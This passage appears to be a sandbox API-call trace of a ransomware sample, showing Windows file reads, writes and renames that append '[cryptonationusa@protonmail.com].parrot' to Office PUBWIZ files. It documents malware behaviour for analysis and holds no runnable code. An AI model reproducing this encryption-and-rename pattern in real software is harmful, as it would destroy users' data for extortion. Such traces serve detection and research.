lpNewFilePointer=0x0) returned 1 [0210.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.569] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.569] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.570] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.570] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb08a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb08a, lpOverlapped=0x0) returned 1 [0210.576] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarbb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.587] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.587] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.589] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.589] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49e01, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x49e01, lpOverlapped=0x0) returned 1 [0210.598] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.662] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.663] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.664] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.664] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa71a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa71a, lpOverlapped=0x0) returned 1 [0210.667] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDEBARVERTBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidebarvertbb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.675] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.675] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.676] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.677] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17e95, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17e95, lpOverlapped=0x0) returned 1 [0210.680] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.693] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.693] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.695] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.695] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ab4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ab4, lpOverlapped=0x0) returned 1 [0210.696] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.704] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.705] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.706] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb82, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbb82, lpOverlapped=0x0) returned 1 [0210.708] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGN98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sign98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.717] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.717] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.718] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.718] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6d6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6d6c, lpOverlapped=0x0) returned 1 [0210.720] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\signhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIGNHM.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\signhm.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.728] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.728] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.729] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.729] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x760e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x760e, lpOverlapped=0x0) returned 1 [0210.731] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\snipe.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SNIPE.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\snipe.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.736] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.736] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.738] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.738] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f93b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f93b, lpOverlapped=0x0) returned 1 [0210.747] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.763] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.763] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.796] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.796] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d36, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7d36, lpOverlapped=0x0) returned 1 [0210.801] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storybb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.810] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.810] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.811] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.812] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c9a2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c9a2, lpOverlapped=0x0) returned 1 [0210.820] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.855] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.855] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.859] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.859] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6f7e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6f7e, lpOverlapped=0x0) returned 1 [0210.865] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STORYVERTBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\storyvertbb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.874] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.874] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.875] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.875] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x472, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x472, lpOverlapped=0x0) returned 1 [0210.876] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STRBRST.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\strbrst.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\STRBRST.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\strbrst.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.882] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.882] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.883] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.884] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3f6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3f6, lpOverlapped=0x0) returned 1 [0210.884] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TEAROFF.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\tearoff.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TEAROFF.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\tearoff.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.890] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.890] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.903] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.904] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40a0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x40a0a, lpOverlapped=0x0) returned 1 [0210.911] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TOC98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\toc98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\TOC98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\toc98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.930] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.931] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.932] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.932] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eab0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1eab0, lpOverlapped=0x0) returned 1 [0210.936] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WCOMP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wcomp98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WCOMP98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wcomp98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.959] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.959] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.961] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.961] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0210.987] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.987] WriteFile (in: hFile=0x284, lpBuffer=0x22fa088*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22fa088*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0210.991] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.991] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0210.994] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16659c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.994] CloseHandle (hObject=0x284) returned 1 [0210.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEB11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\web11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEB11.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\web11.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.004] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.004] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: 